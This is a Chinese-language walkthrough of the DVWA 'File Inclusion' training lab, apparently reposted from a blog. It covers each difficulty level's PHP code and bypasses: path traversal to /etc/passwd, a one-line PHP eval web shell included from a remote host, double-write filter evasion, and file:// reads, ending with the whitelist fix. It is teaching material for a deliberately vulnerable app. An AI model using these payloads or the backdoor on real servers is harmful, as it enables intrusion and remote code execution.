DVWA学习记录 PartⅣ

File Inclusion

1. 题目

File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

File_Inclusion1

2. Low

a. 代码分析

<?php 
// The page we wish to display 
$file = $_GET[ 'page' ]; 
?> 

代码对于get的参数没有任何过滤和检测。由于page参数不可控,可能导致漏洞。

b. 漏洞利用

本地文件包含:

构建payload:?page=file4.php

得到隐藏文件:

File_Inclusion2

查看/etc/passwd:?page=../../../../../../../../etc/passwd

File_Inclusion3

远程文件包含:

在服务器上写后门

<?php
        @eval($_POST['123']);
?>

构造payload:http://[ip]/DVWA/vulnerabilities/fi/?page=http://[ip]/backdoor.php

为了增加隐蔽性,可以对http://[ip]/backdoor.php进行编码。

使用菜刀连接

3. Medium

a. 代码分析

<?php 
// The page we wish to display 
$file = $_GET[ 'page' ]; 
// Input validation 
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", ".."" ), "", $file ); 
?> 

代码对于输入的参数,进行了简单的替换。

b. 漏洞利用

此类替换可以使用双写的方式绕过。

LFI?page=..././..././..././..././..././..././..././etc/passwd

RFIhthttp://tp://[ip]/backdoor.php

4. High

a. 代码分析

<?php 

// The page we wish to display 
$file = $_GET[ 'page' ]; 

// Input validation 
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want! 
    echo "ERROR: File not found!"; 
    exit; 
} 

?> 

代码对于输入参数限制必须为file开头,或者访问include.php。

fnmatch() 函数根据指定的模式来匹配文件名或字符串。
fnmatch(pattern,string,flags)
pattern	必需。规定要检索的模式。
string	必需。规定要检查的字符串或文件。
flags	可选。

b. 漏洞利用

使用file://协议,构建payload:file:///etc/passwd

RFL:需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行。

5. impossible

a. 代码分析

<?php 
// The page we wish to display 
$file = $_GET[ 'page' ]; 
// Only allow include.php or file{1..3}.php 
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want! 
    echo "ERROR: File not found!"; 
    exit; 
} 
?> 

直接使用白名单机制,限制page参数必须为白名单中的字符串,彻底杜绝了文件包含漏洞。

原文地址:https://www.cnblogs.com/chalan630/p/12763393.html